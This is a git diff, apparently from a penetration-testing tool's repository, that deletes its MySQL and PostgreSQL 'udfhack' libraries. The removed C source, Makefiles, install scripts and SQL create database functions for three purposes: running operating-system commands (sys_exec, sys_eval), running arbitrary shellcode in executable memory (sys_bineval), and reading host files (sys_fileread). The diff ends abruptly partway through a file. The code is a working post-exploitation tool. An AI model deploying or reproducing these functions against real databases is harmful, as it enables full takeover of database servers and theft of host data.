-/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009-2010 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile b/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile deleted file mode 100644 index 8aae84de8..000000000 --- a/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -# For MySQL < 5.1 -LIBDIR=/usr/lib -# For MySQL >= 5.1 -#LIBDIR=/usr/lib/mysql/plugin - -install: - gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -fPIC -o lib_mysqludf_sys.so - strip -sx lib_mysqludf_sys.so - cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh b/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh deleted file mode 100755 index 5e7901ca7..000000000 --- a/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh +++ /dev/null @@ -1,47 +0,0 @@ -#!/bin/bash -# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions -# Copyright (C) 2007 Roland Bouman -# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. -# web: http://www.mysqludf.org/ -# email: mysqludfs@gmail.com, bernardo.damele@gmail.com -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -# Adapt the following settings to your environment -USER="root" -PORT="3306" - -echo "Compiling the MySQL UDF" -make - -if test $? -ne 0; then - echo "ERROR: You need libmysqlclient development software installed" - echo "to be able to compile this UDF, on Debian/Ubuntu just run:" - echo "apt-get install libmysqlclient-dev" - exit 1 -else - echo "MySQL UDF compiled successfully" -fi - -echo -e "\nPlease provide your MySQL root password" - -mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql - -if test $? -ne 0; then - echo "ERROR: unable to install the UDF" - exit 1 -else - echo "MySQL UDF installed successfully" -fi diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c deleted file mode 100644 index 3d4600758..000000000 --- a/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c +++ /dev/null @@ -1,567 +0,0 @@ -/* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman - Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. - web: http://www.mysqludf.org/ - email: mysqludfs@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define DLLEXP __declspec(dllexport) -#else -#define DLLEXP -#include -#include -#include -#endif - -#ifdef STANDARD -#include -#include -#include -#ifdef __WIN__ -typedef unsigned __int64 ulonglong; -typedef __int64 longlong; -#else -typedef unsigned long long ulonglong; -typedef long long longlong; -#endif /*__WIN__*/ -#else -#include -#include -#endif -#include -#include -#include -#include - -#include - -#ifdef HAVE_DLOPEN -#ifdef __cplusplus -extern "C" { -#endif - -#define LIBVERSION "lib_mysqludf_sys version 0.0.4" - -#ifdef __WIN__ -#define SETENV(name,value) SetEnvironmentVariable(name,value); -#else -#define SETENV(name,value) setenv(name,value,1); -#endif - -DLLEXP -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -); - -DLLEXP -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_get - * - * Gets the value of the specified environment variable. - */ -DLLEXP -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_get_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_set - * - * Sets the value of the environment variables. - * This function accepts a set of name/value pairs - * which are then set as environment variables. - * Use sys_get to retrieve the value of such a variable - */ -DLLEXP -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_set_deinit( - UDF_INIT *initid -); - -DLLEXP -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_exec - * - * executes the argument commandstring and returns its exit status. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_exec_deinit( - UDF_INIT *initid -); - -DLLEXP -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_eval - * - * executes the argument commandstring and returns its standard output. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_eval_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_bineval - * - * executes bynary opcodes. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -); - -DLLEXP -void sys_bineval_deinit( - UDF_INIT *initid -); - -DLLEXP -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - - -#ifdef __cplusplus -} -#endif - -/** - * lib_mysqludf_sys_info - */ -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - my_bool status; - if(args->arg_count!=0){ - strcpy( - message - , "No arguments allowed (udf: lib_mysqludf_sys_info)" - ); - status = 1; - } else { - status = 0; - } - return status; -} - -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -){ -} - -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - strcpy(result,LIBVERSION); - *length = strlen(LIBVERSION); - return result; -} - -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count==1 - && args->arg_type[0]==STRING_RESULT){ - initid->maybe_null = 1; - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_get_deinit( - UDF_INIT *initid -){ -} - -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - char* value = getenv(args->args[0]); - if(value == NULL){ - *is_null = 1; - } else { - *length = strlen(value); - } - return value; -} - -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count!=2){ - strcpy( - message - , "Expected exactly two arguments" - ); - return 1; - } - if(args->arg_type[0]!=STRING_RESULT){ - strcpy( - message - , "Expected string type for name parameter" - ); - return 1; - } - args->arg_type[1]=STRING_RESULT; - if((initid->ptr=malloc( - args->lengths[0] - + 1 - + args->lengths[1] - + 1 - ))==NULL){ - strcpy( - message - , "Could not allocate memory" - ); - return 1; - } - return 0; -} - -void sys_set_deinit( - UDF_INIT *initid -){ - if (initid->ptr!=NULL){ - free(initid->ptr); - } -} - -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - char *name = initid->ptr; - char *value = name + args->lengths[0] + 1; - memcpy( - name - , args->args[0] - , args->lengths[0] - ); - *(name + args->lengths[0]) = '\0'; - memcpy( - value - , args->args[1] - , args->lengths[1] - ); - *(value + args->lengths[1]) = '\0'; - return SETENV(name,value); -} - -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_exec_deinit( - UDF_INIT *initid -){ -} - -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - return system(args->args[0]); -} - -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_eval_deinit( - UDF_INIT *initid -){ -} - -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - FILE *pipe; - char *line; - unsigned long outlen, linelen; - - line = (char *)malloc(1024); - result = (char *)malloc(1); - outlen = 0; - - result[0] = (char)0; - - pipe = popen(args->args[0], "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (!(*result) || result == NULL) { - *is_null = 1; - } else { - result[outlen-1] = 0x00; - *length = strlen(result); - } - - return result; -} - -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -){ - return 0; -} - -void sys_bineval_deinit( - UDF_INIT *initid -){ - -} - -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -){ - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - len = (size_t)strlen(args->args[0]); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, args->args[0], len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - strncpy((char *)addr, args->args[0], len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN64) -void __exec_payload(LPVOID); - -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __exec_payload(lpParameter); - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#endif - -#endif /* HAVE_DLOPEN */ diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql deleted file mode 100644 index 3412d939e..000000000 --- a/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql +++ /dev/null @@ -1,35 +0,0 @@ -/* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman - Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. - web: http://www.mysqludf.org/ - email: roland.bouman@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -DROP FUNCTION IF EXISTS lib_mysqludf_sys_info; -DROP FUNCTION IF EXISTS sys_get; -DROP FUNCTION IF EXISTS sys_set; -DROP FUNCTION IF EXISTS sys_exec; -DROP FUNCTION IF EXISTS sys_eval; -DROP FUNCTION IF EXISTS sys_bineval; - -CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so'; diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile b/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile deleted file mode 100644 index 21c82cbda..000000000 --- a/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile +++ /dev/null @@ -1,21 +0,0 @@ -LIBDIR=/tmp - -9.0: - gcc -Wall -I/usr/include/postgresql/9.0/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so - strip -sx lib_postgresqludf_sys.so - cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so - -8.4: - gcc-4.2 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so - strip -sx lib_postgresqludf_sys.so - cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so - -8.3: - gcc-4.2 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so - strip -sx lib_postgresqludf_sys.so - cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so - -8.2: - gcc-4.2 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so - strip -sx lib_postgresqludf_sys.so - cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh b/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh deleted file mode 100755 index 94e73b096..000000000 --- a/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh +++ /dev/null @@ -1,63 +0,0 @@ -#!/bin/bash -# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions -# Copyright (C) 2009-2010 Bernardo Damele A. G. -# web: http://bernardodamele.blogspot.com/ -# email: bernardo.damele@gmail.com -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -# Adapt the following settings to your environment -USER="postgres" -#PORT="5435" -#VERSION="9.0" -PORT="5434" -VERSION="8.4" -#PORT="5433" -#VERSION="8.3" -#PORT="5432" -#VERSION="8.2" - -echo "Compiling the PostgreSQL UDF" -make ${VERSION} - -if test $? -ne 0; then - echo "ERROR: You need postgresql-server development software installed" - echo "to be able to compile this UDF, on Debian/Ubuntu just run:" - - if test "${VERSION}" == "8.2"; then - echo "apt-get install postgresql-server-dev-8.2" - elif test "${VERSION}" == "8.3"; then - echo "apt-get install postgresql-server-dev-8.3" - elif test "${VERSION}" == "8.4"; then - echo "apt-get install postgresql-server-dev-8.4" - elif test "${VERSION}" == "9.0"; then - echo "apt-get install postgresql-server-dev-9.0" - fi - - exit 1 -else - echo "PostgreSQL UDF compiled successfully" -fi - -echo -e "\nPlease provide your PostgreSQL 'postgres' user's password" - -psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql - -if test $? -ne 0; then - echo "ERROR: unable to install the UDF" - exit 1 -else - echo "PostgreSQL UDF installed successfully" -fi diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c deleted file mode 100644 index 73bbac951..000000000 --- a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ /dev/null @@ -1,277 +0,0 @@ -/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009-2010 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define _USE_32BIT_TIME_T -#define DLLEXP __declspec(dllexport) -#define BUILDING_DLL 1 -#else -#define DLLEXP -#include -#include -#include -#include -#endif - -#include -#include -#include -#include - -#include - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - -#ifdef PG_MODULE_MAGIC -PG_MODULE_MAGIC; -#endif - -char *text_ptr_to_char_ptr(text *arg) -{ - char *retVal; - int arg_size = VARSIZE(arg) - VARHDRSZ; - retVal = (char *)malloc(arg_size + 1); - - memcpy(retVal, VARDATA(arg), arg_size); - retVal[arg_size] = '\0'; - - return retVal; -} - -text *chr_ptr_to_text_ptr(char *arg) -{ - text *retVal; - - retVal = (text *)malloc(VARHDRSZ + strlen(arg)); -#ifdef SET_VARSIZE - SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); -#else - VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; -#endif - memcpy(VARDATA(retVal), arg, strlen(arg)); - - return retVal; -} - -PG_FUNCTION_INFO_V1(sys_exec); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 result = 0; - char *command; - - command = text_ptr_to_char_ptr(argv0); - - /* - Only if you want to log - elog(NOTICE, "Command execution: %s", command); - */ - - result = system(command); - free(command); - - PG_FREE_IF_COPY(argv0, 0); - PG_RETURN_INT32(result); -} - -PG_FUNCTION_INFO_V1(sys_eval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - char *command; - char *result; - FILE *pipe; - char *line; - int32 outlen, linelen; - - command = text_ptr_to_char_ptr(argv0); - - /* - Only if you want to log - elog(NOTICE, "Command evaluated: %s", command); - */ - - line = (char *)malloc(1024); - result = (char *)malloc(1); - outlen = 0; - - result[0] = (char)0; - - pipe = popen(command, "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (*result) { - result[outlen-1] = 0x00; - } - - result_text = chr_ptr_to_text_ptr(result); - - PG_RETURN_POINTER(result_text); -} - -PG_FUNCTION_INFO_V1(sys_bineval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, VARDATA(argv0), len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - PG_RETURN_INT32(1); - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - PG_RETURN_INT32(1); - - strncpy((char *)addr, VARDATA(argv0), len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - PG_RETURN_INT32(0); -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif - -#undef fopen - -PG_FUNCTION_INFO_V1(sys_fileread); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - int32 len; - int32 i, j; - char *filename; - char *result; - char *buffer; - char table[] = "0123456789ABCDEF"; - FILE *file; - - filename = text_ptr_to_char_ptr(argv0); - - file = fopen(filename, "rb"); - if (!file) - { - PG_RETURN_NULL(); - } - fseek(file, 0, SEEK_END); - len = ftell(file); - fseek(file, 0, SEEK_SET); - - buffer=(char *)malloc(len + 1); - if (!buffer) - { - fclose(file); - PG_RETURN_NULL(); - } - - fread(buffer, len, 1, file); - fclose(file); - - result = (char *)malloc(2*len + 1); - for (i=0, j=0; i> 4) & 0x0f]; - result[j++] = table[ buffer[i] & 0x0f]; - } - result[j] = '\0'; - - result_text = chr_ptr_to_text_ptr(result); - - free(result); - free(buffer); - free(filename); - - PG_RETURN_POINTER(result_text); -} diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql deleted file mode 100644 index 61cbb8c04..000000000 --- a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql +++ /dev/null @@ -1,25 +0,0 @@ -/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009-2010 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/udfhack/linux/README.txt b/extra/udfhack/linux/README.txt deleted file mode 100644 index 2edf5e57c..000000000 --- a/extra/udfhack/linux/README.txt +++ /dev/null @@ -1,29 +0,0 @@ -Before compiling, you need to adapt the following to your environment: - -Variables in install.sh script: --------------------------------------------------------------------------- -Variable name Variable description --------------------------------------------------------------------------- -USER Database management system administrative username -PORT Database management system port -VERSION Database management system version (PostgreSQL only) - -Variables in Makefile: --------------------------------------------------------------------------- -Variable name Variable description --------------------------------------------------------------------------- -LIBDIR Database management system absolute file system - path for third party libraries (MySQL only) - -Then you can launch './install.sh' if you want to compile the shared -object from the source code and create the user-defined functions on the -database management system. -If you only want to compile the shared object, you need to call only the -'make' command. - - -Notes: - -To get as small shared libraries as possible compile with GCC 4.3 on -both 32-bit and 64-bit architecture and strip the libraries with 'strip' -command. diff --git a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln deleted file mode 100644 index 40795116160b2310b955457d1f7a450c7613b122..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 898 zcmbV~K~KUk6vxl&r)cH{16#VS;CAq^bwdwoh)eWhLI&$dO<8f>h(!5h9{fmt1xsYe zfGFYA^!;Do`@R3`*T*NgW#d9fk(Ka)$tvM6E~}IY7zYv?m>7XYT!Ub* zhb`B3+>7o~2T`7``M?zyql5$P=ZqDy8m?83PDGxuNmV4P=zu3>rc974RyAs!1T-zA zqiXX0$a2S4+SW~J_mtB_(v8}<15L3sdhepFLH{5TvfM&B&I5Cc(e%~Ob4s$w9{UN! zf{O9fM5mT&xYHnOD9YC(*&5HxU%E#8|25POt98t1Q8Ieq7hJP+^C|8`N|gtF|0a$O JRNrhJd;_$18kGP5 diff --git a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c deleted file mode 100644 index 3d4600758..000000000 --- a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c +++ /dev/null @@ -1,567 